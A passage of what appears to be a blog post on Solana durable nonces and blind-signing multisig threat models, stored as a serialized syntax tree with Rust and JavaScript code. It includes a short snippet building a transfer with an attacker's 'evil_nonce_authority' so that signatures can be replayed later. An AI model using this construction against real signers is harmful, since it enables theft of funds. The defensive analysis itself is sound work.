hash_queue",{"type":23,"tag":139,"props":65994,"children":65995},{"style":982},[65996],{"type":28,"value":73},{"type":23,"tag":139,"props":65998,"children":65999},{"style":245},[66000],{"type":28,"value":66001},"get_hash_info_if_valid",{"type":23,"tag":139,"props":66003,"children":66004},{"style":259},[66005],{"type":28,"value":262},{"type":23,"tag":139,"props":66007,"children":66008},{"style":294},[66009],{"type":28,"value":65951},{"type":23,"tag":139,"props":66011,"children":66012},{"style":259},[66013],{"type":28,"value":1052},{"type":23,"tag":139,"props":66015,"children":66016},{"style":294},[66017],{"type":28,"value":65742},{"type":23,"tag":139,"props":66019,"children":66020},{"style":259},[66021],{"type":28,"value":12815},{"type":23,"tag":139,"props":66023,"children":66024},{"class":141,"line":160},[66025,66029,66033,66038],{"type":23,"tag":139,"props":66026,"children":66027},{"style":305},[66028],{"type":28,"value":12823},{"type":23,"tag":139,"props":66030,"children":66031},{"style":259},[66032],{"type":28,"value":262},{"type":23,"tag":139,"props":66034,"children":66035},{"style":305},[66036],{"type":28,"value":66037},"CheckedTransactionDetails",{"type":23,"tag":139,"props":66039,"children":66040},{"style":259},[66041],{"type":28,"value":1268},{"type":23,"tag":139,"props":66043,"children":66044},{"class":141,"line":169},[66045,66050,66054,66058],{"type":23,"tag":139,"props":66046,"children":66047},{"style":294},[66048],{"type":28,"value":66049},"            nonce",{"type":23,"tag":139,"props":66051,"children":66052},{"style":982},[66053],{"type":28,"value":2493},{"type":23,"tag":139,"props":66055,"children":66056},{"style":305},[66057],{"type":28,"value":25779},{"type":23,"tag":139,"props":66059,"children":66060},{"style":259},[66061],{"type":28,"value":1488},{"type":23,"tag":139,"props":66063,"children":66064},{"class":141,"line":178},[66065,66070,66074,66079,66083,66088],{"type":23,"tag":139,"props":66066,"children":66067},{"style":294},[66068],{"type":28,"value":66069},"            lamports_per_signature",{"type":23,"tag":139,"props":66071,"children":66072},{"style":982},[66073],{"type":28,"value":2493},{"type":23,"tag":139,"props":66075,"children":66076},{"style":294},[66077],{"type":28,"value":66078}," hash_info",{"type":23,"tag":139,"props":66080,"children":66081},{"style":982},[66082],{"type":28,"value":73},{"type":23,"tag":139,"props":66084,"children":66085},{"style":245},[66086],{"type":28,"value":66087},"lamports_per_signature",{"type":23,"tag":139,"props":66089,"children":66090},{"style":259},[66091],{"type":28,"value":1471},{"type":23,"tag":139,"props":66093,"children":66094},{"class":141,"line":187},[66095],{"type":23,"tag":139,"props":66096,"children":66097},{"style":259},[66098],{"type":28,"value":66099},"        })\n",{"type":23,"tag":139,"props":66101,"children":66102},{"class":141,"line":196},[66103,66107,66111,66115,66119,66123,66127,66132,66136,66141,66145,66149],{"type":23,"tag":139,"props":66104,"children":66105},{"style":259},[66106],{"type":28,"value":13790},{"type":23,"tag":139,"props":66108,"children":66109},{"style":319},[66110],{"type":28,"value":1293},{"type":23,"tag":139,"props":66112,"children":66113},{"style":319},[66114],{"type":28,"value":13799},{"type":23,"tag":139,"props":66116,"children":66117},{"style":279},[66118],{"type":28,"value":25326},{"type":23,"tag":139,"props":66120,"children":66121},{"style":305},[66122],{"type":28,"value":25331},{"type":23,"tag":139,"props":66124,"children":66125},{"style":259},[66126],{"type":28,"value":29410},{"type":23,"tag":139,"props":66128,"children":66129},{"style":294},[66130],{"type":28,"value":66131},"nonce",{"type":23,"tag":139,"props":66133,"children":66134},{"style":259},[66135],{"type":28,"value":1052},{"type":23,"tag":139,"props":66137,"children":66138},{"style":294},[66139],{"type":28,"value":66140},"previous_lamports_per_signature",{"type":23,"tag":139,"props":66142,"children":66143},{"style":259},[66144],{"type":28,"value":6842},{"type":23,"tag":139,"props":66146,"children":66147},{"style":982},[66148],{"type":28,"value":1067},{"type":23,"tag":139,"props":66150,"children":66151},{"style":279},[66152],{"type":28,"value":66153}," self\n",{"type":23,"tag":139,"props":66155,"children":66156},{"class":141,"line":205},[66157,66162,66167],{"type":23,"tag":139,"props":66158,"children":66159},{"style":982},[66160],{"type":28,"value":66161},"        .",{"type":23,"tag":139,"props":66163,"children":66164},{"style":245},[66165],{"type":28,"value":66166},"check_load_and_advance_message_nonce_account",{"type":23,"tag":139,"props":66168,"children":66169},{"style":259},[66170],{"type":28,"value":1443},{"type":23,"tag":139,"props":66172,"children":66173},{"class":141,"line":214},[66174,66179,66183,66187],{"type":23,"tag":139,"props":66175,"children":66176},{"style":294},[66177],{"type":28,"value":66178},"            tx",{"type":23,"tag":139,"props":66180,"children":66181},{"style":982},[66182],{"type":28,"value":73},{"type":23,"tag":139,"props":66184,"children":66185},{"style":245},[66186],{"type":28,"value":65938},{"type":23,"tag":139,"props":66188,"children":66189},{"style":259},[66190],{"type":28,"value":1471},{"type":23,"tag":139,"props":66192,"children":66193},{"class":141,"line":1320},[66194,66199],{"type":23,"tag":139,"props":66195,"children":66196},{"style":294},[66197],{"type":28,"value":66198},"            next_durable_nonce",{"type":23,"tag":139,"props":66200,"children":66201},{"style":259},[66202],{"type":28,"value":1488},{"type":23,"tag":139,"props":66204,"children":66205},{"class":141,"line":1329},[66206,66211],{"type":23,"tag":139,"props":66207,"children":66208},{"style":294},[66209],{"type":28,"value":66210},"            next_lamports_per_signature",{"type":23,"tag":139,"props":66212,"children":66213},{"style":259},[66214],{"type":28,"value":1488},{"type":23,"tag":139,"props":66216,"children":66217},{"class":141,"line":1580},[66218],{"type":23,"tag":139,"props":66219,"children":66220},{"style":259},[66221],{"type":28,"value":66222},"        )\n",{"type":23,"tag":139,"props":66224,"children":66225},{"class":141,"line":1597},[66226],{"type":23,"tag":139,"props":66227,"children":66228},{"style":259},[66229],{"type":28,"value":27209},{"type":23,"tag":139,"props":66231,"children":66232},{"class":141,"line":1614},[66233,66237,66241,66245],{"type":23,"tag":139,"props":66234,"children":66235},{"style":305},[66236],{"type":28,"value":12823},{"type":23,"tag":139,"props":66238,"children":66239},{"style":259},[66240],{"type":28,"value":262},{"type":23,"tag":139,"props":66242,"children":66243},{"style":305},[66244],{"type":28,"value":66037},{"type":23,"tag":139,"props":66246,"children":66247},{"style":259},[66248],{"type":28,"value":1268},{"type":23,"tag":139,"props":66250,"children":66251},{"class":141,"line":1627},[66252,66256,66260,66264,66268,66272],{"type":23,"tag":139,"props":66253,"children":66254},{"style":294},[66255],{"type":28,"value":66049},{"type":23,"tag":139,"props":66257,"children":66258},{"style":982},[66259],{"type":28,"value":2493},{"type":23,"tag":139,"props":66261,"children":66262},{"style":305},[66263],{"type":28,"value":25331},{"type":23,"tag":139,"props":66265,"children":66266},{"style":259},[66267],{"type":28,"value":262},{"type":23,"tag":139,"props":66269,"children":66270},{"style":294},[66271],{"type":28,"value":66131},{"type":23,"tag":139,"props":66273,"children":66274},{"style":259},[66275],{"type":28,"value":4739},{"type":23,"tag":139,"props":66277,"children":66278},{"class":141,"line":1636},[66279,66283,66287,66292],{"type":23,"tag":139,"props":66280,"children":66281},{"style":294},[66282],{"type":28,"value":66069},{"type":23,"tag":139,"props":66284,"children":66285},{"style":982},[66286],{"type":28,"value":2493},{"type":23,"tag":139,"props":66288,"children":66289},{"style":294},[66290],{"type":28,"value":66291}," previous_lamports_per_signature",{"type":23,"tag":139,"props":66293,"children":66294},{"style":259},[66295],{"type":28,"value":1488},{"type":23,"tag":139,"props":66297,"children":66298},{"class":141,"line":1659},[66299],{"type":23,"tag":139,"props":66300,"children":66301},{"style":259},[66302],{"type":28,"value":66099},{"type":23,"tag":139,"props":66304,"children":66305},{"class":141,"line":1667},[66306,66310,66314],{"type":23,"tag":139,"props":66307,"children":66308},{"style":259},[66309],{"type":28,"value":13790},{"type":23,"tag":139,"props":66311,"children":66312},{"style":319},[66313],{"type":28,"value":1293},{"type":23,"tag":139,"props":66315,"children":66316},{"style":259},[66317],{"type":28,"value":1268},{"type":23,"tag":139,"props":66319,"children":66320},{"class":141,"line":1676},[66321,66326,66330,66335,66340,66344],{"type":23,"tag":139,"props":66322,"children":66323},{"style":294},[66324],{"type":28,"value":66325},"        error_counters",{"type":23,"tag":139,"props":66327,"children":66328},{"style":982},[66329],{"type":28,"value":73},{"type":23,"tag":139,"props":66331,"children":66332},{"style":259},[66333],{"type":28,"value":66334},"blockhash_not_found ",{"type":23,"tag":139,"props":66336,"children":66337},{"style":982},[66338],{"type":28,"value":66339},"+=",{"type":23,"tag":139,"props":66341,"children":66342},{"style":1016},[66343],{"type":28,"value":2525},{"type":23,"tag":139,"props":66345,"children":66346},{"style":259},[66347],{"type":28,"value":995},{"type":23,"tag":139,"props":66349,"children":66350},{"class":141,"line":1745},[66351,66355,66359,66364,66368,66373],{"type":23,"tag":139,"props":66352,"children":66353},{"style":305},[66354],{"type":28,"value":12866},{"type":23,"tag":139,"props":66356,"children":66357},{"style":259},[66358],{"type":28,"value":262},{"type":23,"tag":139,"props":66360,"children":66361},{"style":305},[66362],{"type":28,"value":66363},"TransactionError",{"type":23,"tag":139,"props":66365,"children":66366},{"style":982},[66367],{"type":28,"value":1461},{"type":23,"tag":139,"props":66369,"children":66370},{"style":305},[66371],{"type":28,"value":66372},"BlockhashNotFound",{"type":23,"tag":139,"props":66374,"children":66375},{"style":259},[66376],{"type":28,"value":273},{"type":23,"tag":139,"props":66378,"children":66379},{"class":141,"line":1753},[66380],{"type":23,"tag":139,"props":66381,"children":66382},{"style":259},[66383],{"type":28,"value":1335},{"type":23,"tag":24,"props":66385,"children":66386},{},[66387],{"type":28,"value":66388},"The documentation does a good job of explaining how they work.",{"type":23,"tag":90,"props":66390,"children":66391},{},[66392],{"type":23,"tag":24,"props":66393,"children":66394},{},[66395],{"type":28,"value":66396},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":24,"props":66398,"children":66399},{},[66400,66402,66409],{"type":28,"value":66401},"Durable nonces are created and managed ",{"type":23,"tag":64,"props":66403,"children":66406},{"href":66404,"rel":66405},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[68],[66407],{"type":28,"value":66408},"by the system program",{"type":28,"value":66410},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":24,"props":66412,"children":66413},{},[66414,66416,66423],{"type":28,"value":66415},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":64,"props":66417,"children":66420},{"href":66418,"rel":66419},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[68],[66421],{"type":28,"value":66422},"based on the current blockhash",{"type":28,"value":66424},", and cannot be predicted in advance.",{"type":23,"tag":128,"props":66426,"children":66428},{"className":948,"code":66427,"language":947,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[66429],{"type":23,"tag":135,"props":66430,"children":66431},{"__ignoreMap":7},[66432,66484,66517],{"type":23,"tag":139,"props":66433,"children":66434},{"class":141,"line":142},[66435,66439,66443,66447,66451,66455,66460,66464,66468,66472,66476,66480],{"type":23,"tag":139,"props":66436,"children":66437},{"style":279},[66438],{"type":28,"value":969},{"type":23,"tag":139,"props":66440,"children":66441},{"style":294},[66442],{"type":28,"value":65992},{"type":23,"tag":139,"props":66444,"children":66445},{"style":982},[66446],{"type":28,"value":985},{"type":23,"tag":139,"props":66448,"children":66449},{"style":279},[66450],{"type":28,"value":11808},{"type":23,"tag":139,"props":66452,"children":66453},{"style":982},[66454],{"type":28,"value":73},{"type":23,"tag":139,"props":66456,"children":66457},{"style":259},[66458],{"type":28,"value":66459},"blockhash_queue",{"type":23,"tag":139,"props":66461,"children":66462},{"style":982},[66463],{"type":28,"value":73},{"type":23,"tag":139,"props":66465,"children":66466},{"style":245},[66467],{"type":28,"value":58540},{"type":23,"tag":139,"props":66469,"children":66470},{"style":259},[66471],{"type":28,"value":11890},{"type":23,"tag":139,"props":66473,"children":66474},{"style":982},[66475],{"type":28,"value":73},{"type":23,"tag":139,"props":66477,"children":66478},{"style":245},[66479],{"type":28,"value":1651},{"type":23,"tag":139,"props":66481,"children":66482},{"style":259},[66483],{"type":28,"value":1656},{"type":23,"tag":139,"props":66485,"children":66486},{"class":141,"line":151},[66487,66491,66496,66500,66504,66508,66513],{"type":23,"tag":139,"props":66488,"children":66489},{"style":279},[66490],{"type":28,"value":969},{"type":23,"tag":139,"props":66492,"children":66493},{"style":294},[66494],{"type":28,"value":66495}," last_blockhash",{"type":23,"tag":139,"props":66497,"children":66498},{"style":982},[66499],{"type":28,"value":985},{"type":23,"tag":139,"props":66501,"children":66502},{"style":294},[66503],{"type":28,"value":65992},{"type":23,"tag":139,"props":66505,"children":66506},{"style":982},[66507],{"type":28,"value":73},{"type":23,"tag":139,"props":66509,"children":66510},{"style":245},[66511],{"type":28,"value":66512},"last_hash",{"type":23,"tag":139,"props":66514,"children":66515},{"style":259},[66516],{"type":28,"value":1656},{"type":23,"tag":139,"props":66518,"children":66519},{"class":141,"line":160},[66520,66524,66529,66533,66538,66542,66547,66551,66555,66560],{"type":23,"tag":139,"props":66521,"children":66522},{"style":279},[66523],{"type":28,"value":969},{"type":23,"tag":139,"props":66525,"children":66526},{"style":294},[66527],{"type":28,"value":66528}," next_durable_nonce",{"type":23,"tag":139,"props":66530,"children":66531},{"style":982},[66532],{"type":28,"value":985},{"type":23,"tag":139,"props":66534,"children":66535},{"style":305},[66536],{"type":28,"value":66537}," DurableNonce",{"type":23,"tag":139,"props":66539,"children":66540},{"style":982},[66541],{"type":28,"value":1461},{"type":23,"tag":139,"props":66543,"children":66544},{"style":245},[66545],{"type":28,"value":66546},"from_blockhash",{"type":23,"tag":139,"props":66548,"children":66549},{"style":259},[66550],{"type":28,"value":262},{"type":23,"tag":139,"props":66552,"children":66553},{"style":982},[66554],{"type":28,"value":1085},{"type":23,"tag":139,"props":66556,"children":66557},{"style":294},[66558],{"type":28,"value":66559},"last_blockhash",{"type":23,"tag":139,"props":66561,"children":66562},{"style":259},[66563],{"type":28,"value":1820},{"type":23,"tag":24,"props":66565,"children":66566},{},[66567,66569,66574],{"type":28,"value":66568},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":659,"props":66570,"children":66571},{},[66572],{"type":28,"value":66573},"can",{"type":28,"value":66575}," be saved and reused.",{"type":23,"tag":41,"props":66577,"children":66579},{"id":66578},"threat-model",[66580],{"type":28,"value":66581},"Threat Model",{"type":23,"tag":24,"props":66583,"children":66584},{},[66585],{"type":28,"value":66586},"Let's consider a simplified form of the original question.",{"type":23,"tag":797,"props":66588,"children":66589},{},[66590,66595,66600],{"type":23,"tag":801,"props":66591,"children":66592},{},[66593],{"type":28,"value":66594},"We have a N/M multisig",{"type":23,"tag":801,"props":66596,"children":66597},{},[66598],{"type":28,"value":66599},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":801,"props":66601,"children":66602},{},[66603],{"type":28,"value":66604},"We can accurately query chain state.",{"type":23,"tag":24,"props":66606,"children":66607},{},[66608],{"type":28,"value":66609},"Can we safely sign transactions?",{"type":23,"tag":24,"props":66611,"children":66612},{},[66613],{"type":28,"value":66614},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":24,"props":66616,"children":66617},{},[66618,66620,66626,66628,66635],{"type":28,"value":66619},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":135,"props":66621,"children":66623},{"className":66622},[],[66624],{"type":28,"value":66625},"getProgramAccounts",{"type":28,"value":66627}," call to validate if your signer ",{"type":23,"tag":64,"props":66629,"children":66632},{"href":66630,"rel":66631},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[68],[66633],{"type":28,"value":66634},"has an associated durable nonce",{"type":28,"value":73},{"type":23,"tag":128,"props":66637,"children":66639},{"className":33820,"code":66638,"language":33822,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[66640],{"type":23,"tag":135,"props":66641,"children":66642},{"__ignoreMap":7},[66643,66690,66726,66734,66746,66754,66766,66774,66782,66799,66806,66813,66821,66829,66841,66867,66884,66891,66898,66906,66913],{"type":23,"tag":139,"props":66644,"children":66645},{"class":141,"line":142},[66646,66650,66655,66659,66663,66668,66672,66677,66681,66686],{"type":23,"tag":139,"props":66647,"children":66648},{"style":279},[66649],{"type":28,"value":7663},{"type":23,"tag":139,"props":66651,"children":66652},{"style":294},[66653],{"type":28,"value":66654}," connection",{"type":23,"tag":139,"props":66656,"children":66657},{"style":982},[66658],{"type":28,"value":985},{"type":23,"tag":139,"props":66660,"children":66661},{"style":279},[66662],{"type":28,"value":29820},{"type":23,"tag":139,"props":66664,"children":66665},{"style":245},[66666],{"type":28,"value":66667}," Connection",{"type":23,"tag":139,"props":66669,"children":66670},{"style":259},[66671],{"type":28,"value":262},{"type":23,"tag":139,"props":66673,"children":66674},{"style":245},[66675],{"type":28,"value":66676},"clusterApiUrl",{"type":23,"tag":139,"props":66678,"children":66679},{"style":259},[66680],{"type":28,"value":262},{"type":23,"tag":139,"props":66682,"children":66683},{"style":265},[66684],{"type":28,"value":66685},"'testnet'",{"type":23,"tag":139,"props":66687,"children":66688},{"style":259},[66689],{"type":28,"value":5226},{"type":23,"tag":139,"props":66691,"children":66692},{"class":141,"line":151},[66693,66697,66702,66706,66710,66714,66718,66722],{"type":23,"tag":139,"props":66694,"children":66695},{"style":279},[66696],{"type":28,"value":7663},{"type":23,"tag":139,"props":66698,"children":66699},{"style":294},[66700],{"type":28,"value":66701}," nonceAccounts",{"type":23,"tag":139,"props":66703,"children":66704},{"style":982},[66705],{"type":28,"value":985},{"type":23,"tag":139,"props":66707,"children":66708},{"style":319},[66709],{"type":28,"value":34101},{"type":23,"tag":139,"props":66711,"children":66712},{"style":294},[66713],{"type":28,"value":66654},{"type":23,"tag":139,"props":66715,"children":66716},{"style":259},[66717],{"type":28,"value":73},{"type":23,"tag":139,"props":66719,"children":66720},{"style":245},[66721],{"type":28,"value":66625},{"type":23,"tag":139,"props":66723,"children":66724},{"style":259},[66725],{"type":28,"value":1443},{"type":23,"tag":139,"props":66727,"children":66728},{"class":141,"line":160},[66729],{"type":23,"tag":139,"props":66730,"children":66731},{"style":958},[66732],{"type":28,"value":66733},"  // The system program owns all nonce accounts.\n",{"type":23,"tag":139,"props":66735,"children":66736},{"class":141,"line":169},[66737,66742],{"type":23,"tag":139,"props":66738,"children":66739},{"style":294},[66740],{"type":28,"value":66741},"  SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":139,"props":66743,"children":66744},{"style":259},[66745],{"type":28,"value":1488},{"type":23,"tag":139,"props":66747,"children":66748},{"class":141,"line":178},[66749],{"type":23,"tag":139,"props":66750,"children":66751},{"style":259},[66752],{"type":28,"value":66753},"  {\n",{"type":23,"tag":139,"props":66755,"children":66756},{"class":141,"line":187},[66757,66762],{"type":23,"tag":139,"props":66758,"children":66759},{"style":294},[66760],{"type":28,"value":66761},"    filters:",{"type":23,"tag":139,"props":66763,"children":66764},{"style":259},[66765],{"type":28,"value":23642},{"type":23,"tag":139,"props":66767,"children":66768},{"class":141,"line":196},[66769],{"type":23,"tag":139,"props":66770,"children":66771},{"style":259},[66772],{"type":28,"value":66773},"      {\n",{"type":23,"tag":139,"props":66775,"children":66776},{"class":141,"line":205},[66777],{"type":23,"tag":139,"props":66778,"children":66779},{"style":958},[66780],{"type":28,"value":66781},"        // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":139,"props":66783,"children":66784},{"class":141,"line":214},[66785,66790,66795],{"type":23,"tag":139,"props":66786,"children":66787},{"style":294},[66788],{"type":28,"value":66789},"        dataSize:",{"type":23,"tag":139,"props":66791,"children":66792},{"style":1016},[66793],{"type":28,"value":66794}," 80",{"type":23,"tag":139,"props":66796,"children":66797},{"style":259},[66798],{"type":28,"value":1488},{"type":23,"tag":139,"props":66800,"children":66801},{"class":141,"line":1320},[66802],{"type":23,"tag":139,"props":66803,"children":66804},{"style":259},[66805],{"type":28,"value":35089},{"type":23,"tag":139,"props":66807,"children":66808},{"class":141,"line":1329},[66809],{"type":23,"tag":139,"props":66810,"children":66811},{"style":259},[66812],{"type":28,"value":66773},{"type":23,"tag":139,"props":66814,"children":66815},{"class":141,"line":1580},[66816],{"type":23,"tag":139,"props":66817,"children":66818},{"style":958},[66819],{"type":28,"value":66820},"        // The authority's 32-byte public key is written\n",{"type":23,"tag":139,"props":66822,"children":66823},{"class":141,"line":1597},[66824],{"type":23,"tag":139,"props":66825,"children":66826},{"style":958},[66827],{"type":28,"value":66828},"        // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":139,"props":66830,"children":66831},{"class":141,"line":1614},[66832,66837],{"type":23,"tag":139,"props":66833,"children":66834},{"style":294},[66835],{"type":28,"value":66836},"        memcmp:",{"type":23,"tag":139,"props":66838,"children":66839},{"style":259},[66840],{"type":28,"value":1268},{"type":23,"tag":139,"props":66842,"children":66843},{"class":141,"line":1627},[66844,66849,66854,66858,66863],{"type":23,"tag":139,"props":66845,"children":66846},{"style":294},[66847],{"type":28,"value":66848},"          bytes:",{"type":23,"tag":139,"props":66850,"children":66851},{"style":294},[66852],{"type":28,"value":66853}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":139,"props":66855,"children":66856},{"style":259},[66857],{"type":28,"value":73},{"type":23,"tag":139,"props":66859,"children":66860},{"style":245},[66861],{"type":28,"value":66862},"toBase58",{"type":23,"tag":139,"props":66864,"children":66865},{"style":259},[66866],{"type":28,"value":1471},{"type":23,"tag":139,"props":66868,"children":66869},{"class":141,"line":1636},[66870,66875,66880],{"type":23,"tag":139,"props":66871,"children":66872},{"style":294},[66873],{"type":28,"value":66874},"          offset:",{"type":23,"tag":139,"props":66876,"children":66877},{"style":1016},[66878],{"type":28,"value":66879}," 8",{"type":23,"tag":139,"props":66881,"children":66882},{"style":259},[66883],{"type":28,"value":1488},{"type":23,"tag":139,"props":66885,"children":66886},{"class":141,"line":1659},[66887],{"type":23,"tag":139,"props":66888,"children":66889},{"style":259},[66890],{"type":28,"value":23394},{"type":23,"tag":139,"props":66892,"children":66893},{"class":141,"line":1667},[66894],{"type":23,"tag":139,"props":66895,"children":66896},{"style":259},[66897],{"type":28,"value":35089},{"type":23,"tag":139,"props":66899,"children":66900},{"class":141,"line":1676},[66901],{"type":23,"tag":139,"props":66902,"children":66903},{"style":259},[66904],{"type":28,"value":66905},"    ],\n",{"type":23,"tag":139,"props":66907,"children":66908},{"class":141,"line":1745},[66909],{"type":23,"tag":139,"props":66910,"children":66911},{"style":259},[66912],{"type":28,"value":3874},{"type":23,"tag":139,"props":66914,"children":66915},{"class":141,"line":1753},[66916],{"type":23,"tag":139,"props":66917,"children":66918},{"style":259},[66919],{"type":28,"value":1820},{"type":23,"tag":24,"props":66921,"children":66922},{},[66923,66925,66933],{"type":28,"value":66924},"Unfortunately this is not sufficient",{"type":23,"tag":636,"props":66926,"children":66927},{},[66928],{"type":23,"tag":64,"props":66929,"children":66931},{"href":641,"ariaDescribedBy":66930,"dataFootnoteRef":7,"id":644},[643],[66932],{"type":28,"value":647},{"type":28,"value":66934},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":128,"props":66936,"children":66938},{"className":948,"code":66937,"language":947,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[66939],{"type":23,"tag":135,"props":66940,"children":66941},{"__ignoreMap":7},[66942,67008,67024,67107],{"type":23,"tag":139,"props":66943,"children":66944},{"class":141,"line":142},[66945,66949,66953,66957,66962,66966,66970,66974,66978,66982,66986,66990,66995,66999,67004],{"type":23,"tag":139,"props":66946,"children":66947},{"style":279},[66948],{"type":28,"value":969},{"type":23,"tag":139,"props":66950,"children":66951},{"style":294},[66952],{"type":28,"value":41263},{"type":23,"tag":139,"props":66954,"children":66955},{"style":982},[66956],{"type":28,"value":985},{"type":23,"tag":139,"props":66958,"children":66959},{"style":259},[66960],{"type":28,"value":66961}," system_instruction",{"type":23,"tag":139,"props":66963,"children":66964},{"style":982},[66965],{"type":28,"value":1461},{"type":23,"tag":139,"props":66967,"children":66968},{"style":245},[66969],{"type":28,"value":30010},{"type":23,"tag":139,"props":66971,"children":66972},{"style":259},[66973],{"type":28,"value":262},{"type":23,"tag":139,"props":66975,"children":66976},{"style":982},[66977],{"type":28,"value":1085},{"type":23,"tag":139,"props":66979,"children":66980},{"style":294},[66981],{"type":28,"value":17480},{"type":23,"tag":139,"props":66983,"children":66984},{"style":259},[66985],{"type":28,"value":1052},{"type":23,"tag":139,"props":66987,"children":66988},{"style":982},[66989],{"type":28,"value":1085},{"type":23,"tag":139,"props":66991,"children":66992},{"style":294},[66993],{"type":28,"value":66994},"ledger_base_pubkey",{"type":23,"tag":139,"props":66996,"children":66997},{"style":259},[66998],{"type":28,"value":1052},{"type":23,"tag":139,"props":67000,"children":67001},{"style":1016},[67002],{"type":28,"value":67003},"42",{"type":23,"tag":139,"props":67005,"children":67006},{"style":259},[67007],{"type":28,"value":1820},{"type":23,"tag":139,"props":67009,"children":67010},{"class":141,"line":151},[67011,67015,67020],{"type":23,"tag":139,"props":67012,"children":67013},{"style":279},[67014],{"type":28,"value":969},{"type":23,"tag":139,"props":67016,"children":67017},{"style":294},[67018],{"type":28,"value":67019}," message",{"type":23,"tag":139,"props":67021,"children":67022},{"style":982},[67023],{"type":28,"value":33745},{"type":23,"tag":139,"props":67025,"children":67026},{"class":141,"line":160},[67027,67032,67036,67041,67045,67049,67053,67057,67061,67065,67069,67073,67078,67082,67086,67091,67095,67099,67103],{"type":23,"tag":139,"props":67028,"children":67029},{"style":305},[67030],{"type":28,"value":67031},"        Message",{"type":23,"tag":139,"props":67033,"children":67034},{"style":982},[67035],{"type":28,"value":1461},{"type":23,"tag":139,"props":67037,"children":67038},{"style":245},[67039],{"type":28,"value":67040},"new_with_nonce",{"type":23,"tag":139,"props":67042,"children":67043},{"style":259},[67044],{"type":28,"value":262},{"type":23,"tag":139,"props":67046,"children":67047},{"style":245},[67048],{"type":28,"value":1872},{"type":23,"tag":139,"props":67050,"children":67051},{"style":259},[67052],{"type":28,"value":1723},{"type":23,"tag":139,"props":67054,"children":67055},{"style":294},[67056],{"type":28,"value":41573},{"type":23,"tag":139,"props":67058,"children":67059},{"style":259},[67060],{"type":28,"value":21069},{"type":23,"tag":139,"props":67062,"children":67063},{"style":305},[67064],{"type":28,"value":39912},{"type":23,"tag":139,"props":67066,"children":67067},{"style":259},[67068],{"type":28,"value":262},{"type":23,"tag":139,"props":67070,"children":67071},{"style":982},[67072],{"type":28,"value":1085},{"type":23,"tag":139,"props":67074,"children":67075},{"style":294},[67076],{"type":28,"value":67077},"evil_nonce_authority",{"type":23,"tag":139,"props":67079,"children":67080},{"style":259},[67081],{"type":28,"value":13189},{"type":23,"tag":139,"props":67083,"children":67084},{"style":982},[67085],{"type":28,"value":1085},{"type":23,"tag":139,"props":67087,"children":67088},{"style":294},[67089],{"type":28,"value":67090},"nonce_account",{"type":23,"tag":139,"props":67092,"children":67093},{"style":259},[67094],{"type":28,"value":1052},{"type":23,"tag":139,"props":67096,"children":67097},{"style":982},[67098],{"type":28,"value":1085},{"type":23,"tag":139,"props":67100,"children":67101},{"style":294},[67102],{"type":28,"value":67077},{"type":23,"tag":139,"props":67104,"children":67105},{"style":259},[67106],{"type":28,"value":273},{"type":23,"tag":139,"props":67108,"children":67109},{"class":141,"line":169},[67110,67114,67119],{"type":23,"tag":139,"props":67111,"children":67112},{"style":982},[67113],{"type":28,"value":1144},{"type":23,"tag":139,"props":67115,"children":67116},{"style":245},[67117],{"type":28,"value":67118},"serialize",{"type":23,"tag":139,"props":67120,"children":67121},{"style":259},[67122],{"type":28,"value":1656},{"type":23,"tag":24,"props":67124,"children":67125},{},[67126,67128,67135],{"type":28,"value":67127},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":64,"props":67129,"children":67132},{"href":67130,"rel":67131},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[68],[67133],{"type":28,"value":67134},"logs the fee-payer here",{"type":28,"value":73},{"type":23,"tag":128,"props":67137,"children":67139},{"className":14526,"code":67138,"language":1123,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, 